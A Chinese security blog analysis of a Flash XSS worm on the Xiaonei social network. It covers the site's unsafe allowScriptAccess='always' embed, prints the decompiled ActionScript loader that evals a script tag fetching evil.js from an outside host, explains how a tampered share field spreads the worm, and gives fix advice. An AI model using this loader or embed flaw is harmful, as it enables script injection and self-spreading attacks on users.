校内网flash xss worm威胁分析
# 鬼仔:打包了下那个swf和js,xiaonei_flash_xss_worm.7z 。
分析来源:知道安全(http://www.scanw.com/blog/)
威胁本质:
校内网的 JS函数playswf可以动态地创建一个flash player容器(<embed type=”application/x-shockwave-flash”></embed>),而创建的flash player容器错误地使用了allowScriptAccess属性,代码片段如下:
playswf=function(el,_4e,_4f){
……
el.innerHTML=XN.Template.flash({width:w,height:h,filename:_4e});
……
};
XN.template.flash=function(o){
return “ <embed src=\”"+o.filename+”\” type=\”application/x-shockwave-flash\” “+”width=\”"+(o.width||”320″)+”\” height=\”"+(o.height||”240″)+”\” allowFullScreen=\”true\” wmode=\”"+(o.wmode||”transparent”)+”\” allowScriptAccess=\”always\”></embed>”;
};
当allowScriptAccess为always时,表明嵌入的第三方swf文件可以执行任意脚本,而执行任意脚本的作用域在当前域(即符合了同源策略)。攻击者此时就可以利用playswf函数的缺陷嵌入任意第三方swf文件而执行恶意脚本。
蠕虫分析:
登录校内网后会看到这个flash xss worm的传播证据:
当点击好友分享的视频(该视频来自土豆网)时,会打开一个伪造后的swf,如下,我的noscript拦截了:
这个恶意的flash链接是:hxxp://o.99081.com/xnxss/1.swf,它在做什么?看反编译后的源码,这是一段ActionScript脚本:
// Action script…
// [Action in Frame 1]
var fun = “var x=document.createElement(\”SCRIPT\”);x.src=\”http://n.99081.com/xnxss1/evil.js\”; x.defer=true;document.getElementsByTagName(\”HEAD\”)[0].appendChild(x);”;
flash.external.ExternalInterface.call(”eval”, fun);
loadMovie(”http://www.tudou.com/player/outside/player_outside.swf?iid=4120048&default_skin=http://js.tudouui.com/bin/player2/outside/Skin_outside_13.swf&autostart=false&rurl=”, this);
先使用flash.external.ExternalInterface.call调用flash外部DOM的eval函数 (JavaScript内置函数)来执行一段JS脚本,该脚本会将http://n.99081.com/xnxss1/evil.js注入到DOM 的<head>标签内并执行,执行完毕后再加载真正的视频文件进行播放,看视频的过程,蠕虫核心代码evil.js脚本已经执行,这防不胜 防,与我之前测试的饭否网flash csrf worm有着异曲同工的猥琐。
evil.js都做了些什么,无非就是利用了AJAX进行悄然传播,让你也自动分享同样的视频,你的好友收到新鲜事提醒后,观看视频,继续传播,几 何级数,蠕虫就是这样。其他不重要的细节就不提了,关键的一点是:如上面两张图,点击视频缩略图后,为什么播放的是恶意的swf文件,而不是真正的视频文 件(来自土豆网的视频)?抓包分析,如下图(我用优酷的视频做个测试):
这是在分享视频的过程中抓下的表单提交的数据,其中summary可以修改为任意第三方的swf文件地址,其他字段就随便吧。evil.js的传播、利用原理就是这样。
修补建议:
这个flash xss worm能爆发,原因就在上面提到的playswf函数的缺陷:allowScriptAccess为always是不安全的。校内网该如何去修补?校内 网中用户分享的视频应该都来自第三方,如果allowScriptAccess不设置为always会影响到这些视频的播放吗?否则建议校内网在分享视频 的表单提交中判断好summary字段的值,应该建立个白名单,只允许接收来自某些比较大的、可信的视频提供商的视频(比如优酷、土豆、youtube 等)。
后记:
刚开始看到校内网这个蠕虫,我第一反应是csrf worm,类似我上次测试饭否的那个,因为校内网csrf漏洞实在太多,而且有些非常严重,官方不重视,还是不知道?分析时才发现是xss worm。只是这次创新了点,用flash封装了下。基于web传播的worm危害其实可以很大的,这次传播的蠕虫本身没什么危害,假如顺便挂个马呢?
知道创宇 – 余弦
oh!危险很大!
鬼仔,看看这个。
http://hi.baidu.com/cncxz/blog/item/e16a121a391b2ff3af5133fa.html
赞!
其实是个很简单的东西 不过玄玄分析得不错,这个去年某牛在51测试过。